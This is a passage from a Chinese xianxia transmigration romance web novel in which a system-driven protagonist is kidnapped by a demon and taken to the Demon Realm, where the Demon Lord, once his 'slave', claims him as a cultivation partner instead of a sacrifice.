“你会被杀?还是做头一个被仙宗抛弃的弟子?” 楚青琅几乎是趴伏在他的胸膛上,感受着那越来越快的心跳,明艳面孔上的笑容逐渐扩大,遮掩不住的恶劣和戾气交织,将那黑眸溶成一片混沌色彩。 谢尘缘俊美斯文的面上,嵌着一双浅淡双眸,以往可能是因为阳光,所以总是透着稀薄的暖意,但是现在光芒被彻底遮蔽,隐藏于海面的冰山彻底露出,幽暗而冰冷。 那温柔面具被强硬剥离,鲜血淋漓的,头一次显出了高高在上,从未有人瞧见的真实。 他闭了闭眼,身上人沉沉地压制住他,手按着伤口,恍惚间,他听见了血肉的哀鸣声。疼痛、欣喜、恐慌,各种莫名情绪促使他攥住那纤细的腰肢。 将这个,聪明又冷酷的小少爷紧紧地扣在怀里,带着要融为一体的力度。 急促的呼吸打在面庞,那双眼依然没有睁开,但是眉宇间却皱起,仿佛在忍受着什么极度的痛苦一般,楚青琅瞳孔地震了一瞬,他扭着身体,将一只手从那怀抱中睁开,抵在谢尘缘的脸上,推拒着。 “你干嘛?我在跟你谈条件,别给我耍无赖!谢尘缘!” 挣扎间,修长白皙的手将俊美的面孔扭曲,透过指缝,那闭上的双眼忽地睁开。 胳膊弯曲,楚青琅被掐着腰肢,按着后颈靠近,他愤怒的视线对上了那只不再遮掩的眼眸,而在对上的一瞬间,他就像是被天敌叼进嘴里一样,倏地僵硬了身体,眼睁睁地看着自己离那张脸越来越近。 直到几乎亲吻到自己手背时,后颈的力道才停下。 谢尘缘说话,热气扑洒在掌心,带来一阵潮热,“好,我做你的奴隶。” 楚青琅心里发慌,望着那灼热幽暗的视线,他磕巴了一下,“你你说什么?” 谢尘缘露出的那只眼弯起,他说话,唇瓣摩擦间好像楚青琅的掌心烙下一枚吻。 “不愿意吗?那你就把那些事情告诉师兄们,让我被抛弃,我和你一起在人间享富贵。”他喘息了一声,带着绵绵笑意,“做你的奴隶。” 说完,那放在腰间和后颈的手摩擦起来,遮掩不住的兴奋。 疯了。 剧情要完蛋了! 楚青琅堪称震惊的望着他,这个人怎么这么有心机? 要不是他确定谢尘缘不知道自己有任务,还以为他是故意的。 他当然不能去青云仙宗,不然他怎么被抓去魔域,但是他要是不去,谢尘缘也不去,那剧情还玩什么? 不行,不能给他回答,他要拖延时间。 楚青琅深呼吸了一下,猛地低头在他的胸/膛咬了一下。 嘴下的肌肉紧绷了一瞬,又猛地放松,耳边是一声轻叹,“玉儿。” 他下口极狠,谢尘缘下意识地蜷缩起身体,因此勒在他后背的手泄了力道。 楚青琅挣开他的手臂,连忙下了床,坐在桌子旁冷着脸说:“是吗?没想到堂堂谢家人,仙宗弟子这么——” 他思索了一下,果断道:“贱!” 谢尘缘侧蜷着身子,发丝搭在他的肩膀脖颈,面上带着隐约的掌印,浅淡眼眸透过折腾掉的床帏轻纱望过来,带着眼珠子本身的冷意,视线却又柔软贪婪。 他眯起眼,笑着说:“那怎么办呢?” 楚青琅被噎了一下,他直接翻了个白眼,不耐道:“我要回家了,只要不干涉我,谁管你!” 说完,他喝完最后一口茶压了压惊,朝着门外走去。 外面守着的人,早在他按着谢尘缘后颈的时候,就已经被赶来的管家张叔带走了。 只要给他一段空闲的时间,他就能够开启时间跳跃,到时候,面对这个走偏的男二,就不是他,而是主系统的托管了。 楚青琅心虚地想,反正男二后期也出场不多,顶多是活在男主的话语中,那么应该不会对剧情造成什么太大的影响吧? * 楚家 宅邸里面的侍从虽然难掩惊恐,但是已经恢复如常,此时正来来往往地收拾府邸里面破损的东西。 楚青琅甩开谢尘缘派出来跟着他的人,站在巷口,阴影完全将他遮蔽。 直到那扇朱红色的大门合上,他才缓缓收回了视线,打开系统面板后,他找到时间跳跃,按了下去。 【时间跳跃已开启,主系统托管中——】 【托管完成。】 【开始跳跃——】 【跳跃完成。】 视线转换的一瞬间,记忆和眩晕感一齐传来。 楚青琅下意识地将自己藏了藏,皱眉隐忍着没有发出声音,在刚刚他就察觉到了所处的环境不对,身上也带着束缚和疼痛的感觉。 难道,他现在已经被魔族中人抓住了? “小美人你最好自己出来噢,让我找到的话,你会很——惨的。” 笑嘻嘻的威胁悠悠响起,楚青琅的视线渐渐明晰。 他现在正处在一个猪窝里,各种味道直冲鼻腔,差点让他吐出来。 根据脑海中主系统托管的记忆显示,当时他回去了楚家,然后和父母发生了剧烈的争吵,一气之下离家出走了。 不过虽然是离家出走,但是中间他还是会偶尔回家看看,或者带一些信件和礼物回去,当然,这些都是丹生做的,楚青琅知道,但是也没有阻止,反正他的离家出走,不过是换个地方享受生活。 中间谢尘缘倒是找过来了一次,说魔尊大举进攻凡间和仙界,要他跟他走。当时谢尘缘的表情很难看,但是大体依然是温和的,不过因为是主系统托管所以就直接按照人设拒绝了。 而谢尘缘只是沉默了一下,就离开了,甚至再也没有来过。 楚青琅看着记忆里恢复正常的谢尘缘倒是松了一口气。 还有,说是魔界大举进攻,楚青琅倒是觉得,所谓的攻打凡间只是为了分散仙界注意力。毕竟除了刚开始,很多时候,魔军只是骚扰一下就离开了,更多的还是和仙界的斗争。 因此楚青琅这个好奇心重还骄横的人,才没有碰见魔物被按死。 不过好运气总会用完的,楚青琅只是在街上逛了下,就直接被一个人弄晕带走了。 中间那个人还摸了摸他的骨头,说是什么纯阴之体,要把他献上去给魔尊,刚好做最后一个祭品。 挺好的,就是楚青琅[主系统托管版本]吓坏了,在那个人和旁人打架时偷偷溜走,潜入村庄,藏在了这里。 楚青琅: 看着面前肥厚的猪臀,还有地上的一层污垢,他异常感谢楚青琅[托管版本]还是爱干净的,就算藏在了里面也用稻草和木头垫了垫。 不然他可能会直接破功,原地升天。 楚青琅捂着鼻子,犹豫地朝着外面望了望,除了刚刚听见的威胁,那个男人几乎没有发出别的声音,整个村庄极为安静。 难道已经走了? 小少爷从未受过这般苦楚,得出这个结论之后,他几乎是迫不及待地弯着腰,穿过低头吃食的猪,推开了只到半腰的门。 外面太阳已经下山,火烧云铺满整片天空,炊烟袅袅升起,不远处另一条道路有着扛着农具回来的村民。 楚青琅有些犹豫地朝着他们走了两步,又很快地停下了脚步。 那个人是魔族,这些人只是凡人,就算是告诉了他们又能如何?没准还会让他们受到伤害,他应该尽快进城,告知官府启用落仙台,向仙宗传递消息。 下定了决心之后,楚青琅扭头朝着村外走去。 谁知道就在这时候,从另一头走过来的村民好像瞧见了他的身影,将他认作了贼人。 “贼!抓贼!” “李大哥!是你家,你快去看看有没有什么东西少了!” “我的猪!” 楚青琅: 身后的声音纷乱嘈杂,夹杂着一些土话,他听不懂,但是很大致能够明白不是什么好话。 于是他改走为跑,头都不敢回。 这个村庄并不大,外面是一圈的森林,楚青琅小心地绕过一些设下的陷阱,朝着记忆中的方向走去。当时那个魔头把他带过来时他有在刻意记路,虽然是在天上飞,但是路线应该大差不差。只要穿过这片树林,就能够到达临州 他原本就心神紧绷,又一动不动的藏匿了那么久,因此在跑进森林之后,很快就跑不动了。 楚青琅扶着树,喘息着停下,双颊染着红晕,额头上汗水不断渗出,落进眼中,带来一阵酸涩。 他身上的衣服已经被树枝划烂,还有稻草树叶零碎挂着,乍一看去,狼狈得像是乞丐。 不看脸的话。 楚青琅咽了咽口水,不顾满是血腥味的咽喉,休息了片刻就又迈开脚步,准备朝着前面走去。 他不能停下来,虽然不知道那个魔族去哪里了,但是 “怎么不跑了呀小美人?” 幽幽的声音钻进耳道,还没等他反应过来,面前猛地下落一个身影,苍白面孔突然出现,几乎和他脸贴脸。 轻微的呼吸拂过他的面颊,他脊背一麻,汗毛乍起。 “啪!” 楚青琅瞳孔骤缩,抬手扇了一巴掌,随后腿一软坐在了地上。 吓人不成反被打,曲施的笑容直接僵在了脸上。 而那个打他的人眼睛转瞬间溢满了泪水,还委屈巴巴,理直气壮地埋怨道:“你吓到我了!” 楚青琅心脏狂跳,就算是确认了面前的人是人,但是他还是压不住哭泣,哽咽着说:“你,你怎么能这么吓人,我还以为碰见…碰见鬼了,这里面多黑你不知道吗?呜。” 白皙脸颊被树枝划出一道伤口,血丝流出又被蹭开,就像是一片霞光扑在了上面,眼泪落下,将那纤长眼睫凝成一簇簇,浸水宝石一般的眼眸,愤愤望着他,整个人湿漉漉的。 曲施惊讶地发现,他鼻尖眼眶唇竟然都是红的…… 怎么这么弱? 就是吓了一次而已就成了这个样子。 要是瞧见魔尊或者知道自己的下场,应该会哭得更厉害吧? 曲施不着边际地想着,脚尖一松,就从树上落在了地上。 他走到渐渐停下哭泣的人面前,蹲下身子,亲亲密密地捧起那张脸,笑嘻嘻地说:“跑什么呢?你看你现在,又脏又惨兮兮的。” 曲施随手将那眼角和面颊上面的水痕手指抹去,还拨弄着那浓密的眼睫,将其搓开,漂亮的五官被挤成一团。 呀,脸又红了。 他仿佛瞧着一个神奇的玩意一样,狭长双眼满是兴味。 楚青琅拍他的手,想将他的手拍下去,但是那双手的力道极大,纹丝不动。 于是他只能含糊着说:“放开窝!” 曲施提溜着脑袋将人拽到自己的面前,弯着眉眼恐吓,“你知道吗?人失去了脑袋的话,还是可以活动的哦,要不要试试呀?而且你的脸很好看,到时候我会剥下来好好珍藏,把你摆在床头的。” 楚青琅不知道他这话是什么意思,是不是真的要把他的脑袋拔下,他只能压下一阵抽噎,努力冷静道:“不行!” 曲施的手很大,拢着脸尾指摩擦着纤长脖颈,感受着加快的心跳,闻言疑惑地“哦”了一声。 楚青琅瞧见他的身后缓缓弥散出了灰雾,带着浓重的恶意,在后面张牙舞爪。 曲施说:“为什么不行?说出来,没准我就放过你了呢,毕竟像你这种私自逃跑的,早该死在我的手上。” 楚青琅感觉皮肤都被搓破了,火辣辣的。而且说是让他解释,但是揉着他脸的动作倒是丝毫没有减轻力气,还吓他。 他是害怕,但是这种很明显的取笑玩乐的态度,还是让他的脾气一下子上来。 于是那双眼被怒火点燃,灼烧出摄人光芒。 曲施有一瞬间的失神,直到疼痛后知后觉的传来,他低头,洁白的牙齿咬在他的虎口上,鲜血已经流到了手腕。 楚青琅抬脚将人踹开,朝后退几步站了起来。 他呸呸了几下,擦了下嘴巴,顶着片片红痕咬牙说:“你说了,我是最后一个祭品,只要我过去了,你的任务也就完成了。你们找了我这么久,你现在杀了我不是吃亏死了。” “而且,我只是一个人类,突然得知自己即将被作为祭品,还要去魔域,为什么不能跑?你那么厉害怎么没能看好我?你要是看好我了,我不就没法逃跑了。” “都是你自己无能!” 最后一句话落地,楚青琅瞧见面前的人先是惊愕,随后捂着手大笑起来。 笑声在林间回荡,夹杂着不知是什么动物的嚎叫,诡异极了。 楚青琅不禁朝后退了退。 瞧见他的动作,曲施站起身拍了拍自己的衣衫,缓缓上前按住了他的肩膀,含笑道:“好一张颠倒黑白的嘴,照你这样说,还真的要让你活着比较好。” 他巡梭着,忽地抬手捏了下那染着红痕的脸,就算被拍下也好脾气似的没有生气,“不过你说错了,我可不是因为找你才来的,瞧见你不过是,缘分。” 说完,他又吃吃地笑起来。 楚青琅微微放下了心,虽然面前的人很神经病,但是他到魔域之前的性命倒是无忧了。 于是他直接打开了曲施的手,皱了一下鼻子说:“既然我不是你的任务,那你应该不着急。我要洗澡。” 曲施歪头凑近在他的身上嗅了嗅,又抬起头道:“亏你在猪圈里面能呆得住,一股子臭气。” “谁让你在外面一直吓人!我当然只能呆在里面。”楚青琅瞪了他一眼,直接撞开他的肩膀朝着前方走去。 “哦,里面太臭了,我不想进去。”曲施叉手跟在后面,慢悠悠地问:“你知道哪里有水?” 楚青琅踩在粗壮的树根上转身,理直气壮,“不知道,所以你还不赶紧带路。而且,我还要一套新衣服,要红色的,不要和你一样黑漆漆的,难看死了。还有我还饿了,我要吃东西,要热的!” 他从不察言观色,也从不吃亏。 因为每面对一个人,他都能在最快的时间内,察觉到如何在他人底线上蹦跶的方法。 两人相对,空气一瞬间凉下来,风吹过,楚青琅下意识地打了个寒噤。 他恼怒道:“我要是生病了,都是因为你!” 哪怕面前的人已经冷下了脸,他的态度也没有改变,只是好像真的感觉到凉了,他不自觉地抱着臂膀,打了个喷嚏。 这下子不只脸上,耳朵也红了起来。 曲施的视线在那上面转了个圈,拽着腰带将人搂进了怀中,凑到楚青琅面前时,那张脸又笑嘻嘻的。 他说:“好呀,我带你去。” * 楚青琅是被扔在河边的,那个人摸了一把他的头之后就消失了,不知道是不是去弄衣服和吃的了,甚至都没有给他的身上下什么束缚。 不过他猜想,更有可能是因为,那个人有信心能够再次抓住他。 楚青琅从水中收回手,白皙指节被冻得泛红,但是他一点都忍不下去自己身上的味道了。他扯开衣服,朝着河里面走去。 入秋,河水冰凉刺骨,月光将河流照成银黑色,瞧起来深不可测。 他抿唇隐忍着走下去,并没有走太远,水到了腰腹就停了下来。 因为在楚家从未需要他自己洗澡,所以楚青琅撩水的动作有些笨拙。 串串水珠打在身上,他不由得打了个冷战,暗暗决定要速战速决。 水流顺着腰肢两侧朝前涌去,呆久了,那冰冷褪去,竟有一种柔软缠绵之感。 月光慷慨地洒下光华,将那身原本就如凝脂般的肌肤照得更显洁白,带着淡粉的指尖拂过脖颈肩膀,撩动间,恍若碎星于脊背坠落。 黑发被拢到一侧,明艳面容在光芒中褪去傲气,更显幽静,浓密眼睫坠着一颗水珠,随着仰头,划过嫣红的唇瓣,又被锁骨盛住。 “咔嚓——” 楚青琅猛地扭头,只见距离岸边不远处,不知何时站着一个看不清面目的人影。 “美人沐浴,果然诱人,真是让人心软,要不你跟着我好了,保证不把你献上去,给你养得漂漂亮亮的。” 熟悉的声音带着调笑传到他耳边,楚青琅一下子蹲了下去,让身子隐匿在河水之中,他咬牙道:“登徒子!” 曲施走来,蹲在岸边,“怎么样,考虑一下?” 楚青琅道:“滚!” 鬼才信跟着你。 曲施也没有很失望的样子,将衣服放下,施施然站起身,笑着道:“那就快点哦,如果慢了我就把那些吃的全吃了。” 楚青琅等他走后,又细致地洗了一遍,才走到了岸上,他并没有想再逃跑,毕竟任务就是要他去往魔域。 出乎他意料的,放在那里的衣衫还真的是红色的,摸起来料子也不错的样子。 就是不知道那个人是怎么买过来的了,毕竟去的时候成衣店应该已经打烊了 楚青琅将湿发从衣衫内捞出,系上腰带就朝着前方走去。 拨开挡脸的树叶,他看见坐在篝火后面的男人。 男人双眼狭长,面容白净,不带促狭笑意时犹如读书人一般,浑身上下洋溢着书卷气,瞧起来格外亲近。 仿佛听见了他的动静,男人说着笑着抬起了头,“快过来,呀,小心蜘蛛网,就在你面前。” 楚青琅猛地停下了脚步,脸微白。 但是当他借着远处的光亮仔细地瞧了下前方时,却并没有瞧见什么网。 他一下子明白了过来,恶狠狠地瞪了坐在那里笑得不停的人。 什么书卷气,明明就是爱捉弄人的老狐狸! “起开,我要坐在这里!” 楚青琅强硬的将人推开,坐到了仅有的一块石头上。 黑发从曲施的面颊脖颈抽过,带来一股湿濡凉意,他坐在地上眯了下眼,捻着发尾漫不经心的说:“好霸道的小少爷呀。” 楚青琅感受到头顶的力道,伸手将那头发拽了回来,不耐道:“吃的呢?” 曲施放出黑雾,从林子里面拽出一截树木,起身坐了过去。 篝火跳动,映着曲施的脸,他神情带着异样的愉悦,躬身从火堆里面拨弄出来什么,随后弯腰捡起,递之前还装模做样的吹了吹, “吃吧,烤山芋。” 楚青琅看着面前的一个乌漆嘛黑的疙瘩,眉微挑,咬牙道:“你要我吃这东西?!你不应该是去城里买的吗?” “你说的,吃的、热的。”曲施理晃了晃手中冒着热气的山芋,眉眼弯弯,“而且谁说是去城里了,我当然是去杀·人啦!” 他嘟囔,“你身后跟着的人,真的很烦。” 楚青琅蜷起手指,冷不丁的问:“所以这身衣服是你的?” 曲施定定的瞧着他,说:“是哟。” 火光舔舐着楚青琅的脸,带着暖意,他皱眉哼了一声,“那你自己吃吧。” 曲施惊讶,“真的不吃?” 楚青琅嫌弃的瞥他一眼,懒得回话。 于是曲施剥开烤山芋,毫不客气的自己吃了起来。 楚青琅抱膝坐着,肚子虽然饿,但是还是可以忍受,就是今天经历的事情有点多,他有点困。 视网膜前火光变得模糊,他把头靠在自己的手臂上,昏昏欲睡的样子,细碎的水珠从发尾滚落,浸入领口,他不自觉的歪头蹭了蹭。 一只手忽然抓起他的发,动作间,那湿漉漉的长发眨眼变得干净清爽。 楚青琅被睡意困住,再加上面前的火堆带来源源不断的温度,他渐渐失去了意识。 身后的人接过他软下来的身子,凝视了一会儿后,捏了捏那微鼓面颊。 “娇气。” * 醒来的时候,楚青琅发现自己蜷缩在一柄宽大的扇面上,他迷茫的坐起身,发现不远处就是一道接天漆黑屏障,而他,正朝着那瞧起来就很坚硬的屏障冲去。 仿佛下一刻就要被撞死。 他吓得一抖,刚想要朝后爬去,身侧却传来一道悠然含笑的声音,“小美人,最后的机会咯。” 楚青琅怔然扭头,发现那个老狐狸正站在他的身侧,黑色衣衫被风吹的猎猎向后,一双狭长的双眼微眯,灰蒙蒙的瞳仁仿佛冷硬的金属,直直的瞧着那漆黑的屏障。 “一入魔域,生不如死。”他说:“现在反悔的话,求我,我很心软的。” 楚青琅打了个激灵,他意识到,这个人是他完成任务的障碍! 于是他摇摇晃晃的站起身,语气不屑,“你以为你是什么好东西吗?!” 话音落下,扇面直直撞上那漆黑屏障,却像是穿过一层烟雾一般,原本澄明天空陡然暗下,他发现那个老狐狸慢慢将头转了过来。 灰色眼眸先转,捉住他的视线,随后头颅缓缓扭了过来,泛紫的唇高高挑起,亲亲密密的道: “呀,真聪明。” 20-30 第21章 第 21 章 我的炉鼎。 魔域。 因为昏暗的光线, 魔宫长年点着烛火。 明亮的宫殿中,十方魔主聚集一堂,他们视线灼灼的凝望着高阶之上仿佛假寐的魔尊,又装作若无其事的收回。 空荡荡的酒杯敲在案几之上, 身后魔侍上前恭敬倒酒, 殷红酒液混着血腥气将其缓缓注满。 直到最后, 一张大掌盖住杯口, 切断那连续不断的水流。 十方魔主之一的孟嶙按着酒杯,直视着面容模糊的魔尊, 高声道:“尊上,现在仙界已经在我们的进攻下疲惫不堪,而且祭品也已经几乎备齐,只剩下最后一个天阴之体落在凡间,为何不让我们一鼓作气攻打凡间, 找祭品,炼神兵、斩天柱!” 一言既出,周围的魔主顺势闹腾起来。 “就是, 尊上, 只要找到最后的祭品, 斩了天柱,到时候仙界的灵气就都会流向魔界!到时候, 我们魔界就再也不会如此贫瘠!” “仙界能压制我们魔界这么长的时间, 不就是靠着那被天柱截取的灵气吗?” “还说我们残暴,呵,这下子让他们尝尝灵气贫瘠的滋味!!” “没准他们这些娇生惯养的家伙,比我们更残忍呢哈哈哈哈。” 平静的魔宫瞬间沸腾起来,魔主们嘈杂的声音里是遮掩不住的贪婪和恶意, 他们身后的倒影扭成一团,随着说到兴头上手舞足蹈的动作越发庞大起来。 魔座之上的魔尊,仿佛一如既往的平静。 无人知晓,那被宽大衣袍遮掩下的手紧紧掐住掌心,隐于暗处的暗红眼眸凝着虚空,戾气翻涌。 ——“不愿意吗?” ——“你没资格叫我少爷,叫我主人。” ——“去,按住他,跑来跑去的,真麻烦。” 那份被那个废物分魂死死保护住记忆又一次展现在他的面前,里面的所有人都是灰色的。 只有一个人,或怒惑笑,颜色鲜明,生机勃勃。 那是他的小少爷。 不,那不是他的,那只是一个凡人! 还是一个将堂堂魔尊看作奴隶的凡人!! 尖锐的耳鸣声夹杂着或清脆或缠绵的声音,吵得额头连带着眼眶抽痛。 他却不露一丝异样,只是冷冷地和眼前站在阳光下,双眼微弯,笑得愉悦的人对视。 ——“我要那个桃子,爬上去,给我摘下来。” ——“等我和父母告别之后,我就陪你回去。也去看看,你的家。” ——“我很喜欢你。” 只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象只是幻象!! “闭嘴!!!” 一声厉喝响彻宫殿,无形红雾爆发,打在宫殿之上发出刺耳声响,瞬间压制住所有喧嚣。 站在下面的魔主们下意识的噤声,本能在叫嚣着逃跑,但是他们却动都不敢动,魔尊周边漂浮的红雾里面是遮掩不住戾气杀意。 只要动了,就会死! 就在他们神经紧绷之时,一道大剌剌的声音从门外传来,打散了焦灼压抑的气氛。 “尊上!您猜我带着谁回来了?” 魔侍小跑过去,还未动手,殿门就从外面被打开,他们舒了一口气。 灰蒙蒙的天空下,有两人逐渐显现,其中一人是他们熟悉的和魔尊一齐掀翻前任魔尊的曲施,另一人却只是一个长得漂亮的。 凡人? 他们未瞧见,坐在魔座之上的魔尊,在瞧见那个凡人的面孔时,神情骤然紧绷起来。 曲施上前,直接忽视了宫殿里面杂乱的场面,笑嘻嘻道:“多亏了尊主让我截杀仙宗弟子,我已找到最后一个祭品。” 这话一出,原本还因为魔尊死活不向人间出兵而心生怨气的魔主,都惊喜起来,他们转身跪地,一齐高声道:“尊上圣明!” 赞颂之声回荡于空寂的魔宫,良久未有回应,气氛重新压抑起来。 孟嶙蹙眉,就要开口催促要立刻完成献祭时,却听见有脚步声却从上面传来,不复平稳。 余光中,他瞧见黑色染红的袍角翻飞,从他身旁掠过。 心中突兀的涌出不安来。 尊上这是,去那里? 楚青琅压抑住自己想要后退的脚步,努力昂着头,不甘示弱的望着对方,隐约间,他总感觉对方有点熟悉。 这点感觉轻飘飘的,在他的心间一闪而逝。 幸好魔尊并未靠近,在两米之外停下脚步,他不由的松了一口气。 回到魔域的魔尊真的好吓人啊,比他高还比他壮,气势汹汹的。 瞧着那朦胧的面目,楚青琅攥紧手,先发制人,“要杀要刮随你!别装模作样的。” 最后,他又补充了一句,“记得利索一点!” 兆歧深深的望着他,缓缓将模糊面容的术法散去。 眼前的幻象,耳边的尖锐长鸣,嘈杂的声音,在这个人映入眼帘的瞬间到达顶峰,兆歧的脑海甚至有一刻的空白。 但是随后,耳鸣和幻像消失,只有面前的人是唯一的真实。 心脏不由自主的跳动,一个称呼几乎冲破齿关,又被他生生咽了回去。 楚青琅看着那熟悉的面孔显现。 英俊的面庞,浓墨重彩的眉眼,红色的眼眸不带丝毫温度,瞧着他,仿佛带着刀子一样。 杀气四溢。 楚青琅心一跳,不假思索道:“原来是你这个贱奴!不对,你不是死了吗?” 话音落下,周围的人呼吸都滞了一瞬,魔主之一孟嶙怒喝:“你这个凡人说什么呢?!” 曲施挑眉望向他,带着诧异,似乎没想到他这么硬气。 楚青琅循着声音而去,冷哼了一声,下巴微昂,“我说,你们的魔尊,之前是我的奴隶,他身上还有我的奴印,怎么?不信你自己问他啊?” “你!”孟嶙气急,却不敢真的朝魔尊验证,他只能说:“尊上,这个凡人如此无礼,您把他交给我,我绝对会让他生不如死!” 楚青琅轻蔑道;“对我放尊敬点。你的尊上先前可是叫我主人的,而保护不了主人的狗,就是废物!你是在说你的尊上是废物吗?” 孟嶙原本就黑黢黢的脸愈发铁青,挥手,游蛇般的黑雾激射而出,就要将楚青琅斩杀于此。 曲施抬眼,刚准备拦截,却瞧见那道黑雾到了魔尊身旁就直接消泯。 他收回手,笑嘻嘻道:“孟嶙,你可说不过他,安静点,你没看尊上还没发话嘛。” 楚青琅只当作没看见那道黑雾,表面色厉内荏,心里甚至有点小兴奋。 看先前魔尊手下激动的样子,他们想必已经等待许久了,接下来应该就是把他带到祭台了吧? 他很快就可以完成这最后一个任务了。 只要这个任务完成,转正手到擒来。 楚青琅将目光转向一直安静地站在一旁的魔尊,奇怪的发现了他的失神,皱眉道:“死了一次之后话都不会说了?” 魔尊却只是目光沉沉地凝视着他,这目光犹如实质,压的楚青琅下意识转移了视线。 谁知原本还安静如斯的魔尊在他错开目光后,忽地抬手,楚青琅便不由自主的来到了他的面前。 周身缭绕着无形的红雾,绕着他的脚腕将他钉在原地。 楚青琅克制不住的眨了下眼,指甲抠了抠掌心,死死的盯着那只苍白手掌,眼眸映出那横贯掌心的纹路,暗暗期待着。 然而那双手既没有弄晕他,也没有打他,反而只是给他理了理凌乱交叠衣领。 嗯? 楚青琅脸上硬撑的骄横融化,只剩下显而易见的疑惑。 兆歧的指尖上移,勾勒那张明艳面容,随后轻笑一声,却不带丝毫愉悦,反而像是挤出来的无意义音节,瞬间吸引了楚青琅的注意。 他说: “是小少爷啊,我可是,非常、非常想念您呢。” “尤其在您杀了我之后。” 楚青琅反应过来,理直气壮道:“你现在不是没死吗?” 兆歧说:“但是真的很痛,我的喉咙被切断,心脏被刺穿,丹田被搅碎……而且,是小少爷先骗我的。” 原本还在心虚的楚青琅重新硬气了,“我骗你什么了?我说了要跟你去魔域,我这不是来了吗?” 虽然是被迫的。 宝石一般的眼眸带着狡黠,他仿佛不知道自己的现状一般,总是如此的冷酷。 兆歧面色不变,道:“所以小少爷的意思是,这次来是为了我吗?” 楚青琅不假思索道:“当然!我可是一个很好的主人。” “我会记住小少爷说的话的。” 兆歧的手下滑,摸向了他的小腹,手掌冰凉,不复原本的炽热。 楚青琅下意识的吸了一下肚子,那手掌却得寸进尺的欺了上来。 他思衬着那话的意思,就听见兆歧说:“饿了吗?” 从昨天楚青琅就没有吃饭,来到这个大殿上他的肚子就一直咕噜噜地叫着,但是周围的人都没有听见的样子,他就以为没人发现。 反正等自己死了以后就再也不会饿了,只要忍这么一会儿而已。 如今一提,被按着的肚子又响了一声,虽然隔着衣衫,但是谁知道兆歧有没有感觉到。 楚青琅耳根一下子红了起来,密长眼睫不自然的颤抖着,他拍开捂着小腹的手,“虚伪!你这个贱奴不是想把我做祭品吗,还管我饿不饿干嘛?” 快点弄死我! 楚青琅心里祈祷着,他瞧着在后面惊讶到滑稽的魔主们,用眼神给他们加油鼓劲。 发挥出你们的作用! 兆歧微微蹙眉,上前一步挡住了他的目光,垂眸道:“不是。” 楚青琅被截断视线,还无法后退,只能抬头,他问:“什么?” “不是祭品。”兆歧眼中情绪难辨,冷漠和绵软情意交织,诡异至极,他说:“你是我的——炉鼎。” 身后孟嶙失声道:“尊上,他一届凡人怎配当您的炉鼎?!而且祭品已经备好,就只差他了,只要完成我们就能实现大业了!” 兆歧并未回话,一旁的曲施却仿佛接到了命令一般,朝着孟嶙走去,手中冷光闪过,一颗大好头颅便滚落在地,曲施抬脚踩住那头颅,低眼瞧着那不甘的目光,无声道:“愚蠢!” 楚青琅这边还在期待着孟嶙接下来的话,谁知道他只说了一句之后就没了声音。 就在他想要伸长脖子想要望去时,一直摸在小腹的手就抓住了他的手腕,随后将他腾空抱起,走向了殿外。 楚青琅下意识的勾着兆歧的脖颈,反应过来后,才皱眉问:“什么是炉鼎?” 兆歧面色冷淡,血色眼眸仿佛一张大网,将楚青琅密密困住。 他说:“小少爷不是说为我而来吗?我这里不缺人,小少爷也做不来那些杂事,先前我们既然已经双修,那何不接着做我床榻之上的玩宠。” “那谢尘缘能够给你的,给不了你的,我都可以给你。” “只要主人乖乖的。” 实力、财富、万人之上的地位。 楚青琅窒了一瞬,仿佛为了示范,那扣着他腰肢上的指节弯曲,指尖上下轻抚,带来一阵酥麻。 他猛的软了腰肢,浑身不自觉的颤了一下,扭头咬住了那近在咫尺的脖颈。 兆歧望着昏黑色的天空,瞳孔放大,他甚至按住楚青琅的后颈,感受着坚硬的牙齿穿透自己的皮肉,满足和贪婪将英俊面孔扭曲,他说:“是您自己过来的。” 他忍了很久。 不找、不看、不听。 好像这样,就能够在那汹涌的感情中活下来。 但是罪魁祸首竟然又一次的带着无辜天真的神情出现。 他怎么能允许他再次离开。 楚青琅感觉鲜血顺着咽喉流下,想要抬头,却被后颈上的手制止。 他欲哭无泪,含糊道:“放开我!浑蛋!” * 怎么会这样? 楚青琅被放在床榻上,看着面前的人褪去披风,他连忙撑着床后退。 警惕的神情像是察觉到危险的小动物一般。 兆歧弯腰,抓住他的脚腕,将人一寸一寸的拽回。 “小少爷知道怎么做吗?” 楚青琅抵住他的胸口,几乎是不顾人设的跟他讲道理,“你不是要完成那个什么献祭吗?你们找了最后的祭品这么久,好不容易找到你就把我当作炉鼎?” 兆歧仿佛没听见一般,顺着脚腕就想要向上摸去。 楚青琅按住他的手,咬牙切齿道:“我之前打你骂你,你还留下我的命,兆歧你这么贱的吗?” 兆歧抬起头,却说:“祭品的事是曲施说的吗?” 语气淡淡,就仿佛确认是他说的便会直接将人干掉一样,完全没有在意他骂他贱的话…… 楚青琅只能道:“你们攻打仙界的事情,四处搜罗祭品的事情谁不知道?” 魔域的计划,还真的没多少人知道,那些魔主搜罗祭品都是打着献美的名号的,外人顶多认为是魔尊残暴好色罢了。 但是忽悠一下魔尊也够了。 兆歧若有所思的点头。 不知何时弥散在周围的红雾仿佛有意识一般,控制住了楚青琅的四肢,捂住了他的嘴。 接着兆歧就解起了楚青琅腰间的系带。 楚青琅咽了下口水,混着先前喝下的血的腥气差点让他吐出来。 他却没功夫注意这件小事,扭动着身子想要避开那双手。 兆歧忽然压低身子,视线滚烫,带着黏稠的欲意,“别动。” 感受到腿部的不适,楚青琅愤恨的瞪了过去,眼尾染红,难得一见隐忍的模样,慑人心魄。 兆歧凝着他好一会儿,才重新动作起来,凉意蔓延全身。 楚青琅闭上眼,渐渐冷静下来。 虽然求速死的路被堵住了,但是还有机会,兆歧的手下都想要他死,只要支开魔尊,被他的属下带过去献祭也是一样的。 但是为什么魔尊兆歧会变成这个样子? 就在他思索的时候,突然察觉自己身上的束缚散去,被重新抱了起来。 楚青琅迷惑睁眼,便瞧见了不远处支起的红木桌子,低眉顺眼的魔侍正在上面放着一盘盘精美的菜肴。 烤酥方,子母会,八宝鸭,鲜虾羹汤,美人指… 食物的香气瞬间勾起他的食欲,让他脑海中的思索变得不上不下的。 低头看了眼自己身上分明和兆歧同款的衣服,楚青琅不禁沉默。 刚刚表现的那么…… 就是为了给他换衣服? 魔侍退下,兆歧抱着他坐在主位,舀了一勺羹汤抵在他的唇边,楚青琅下意识地张嘴。 一口羹汤下肚,胃部瞬间变得舒适,几乎抽搐的痛感消失。 就在他要再喂的时候,楚青琅连忙握着他的手腕,扭身发问:“你,你不是要和我双修吗?” 烛火明亮,照的魔尊侧脸柔和,他说:“你饿了。” 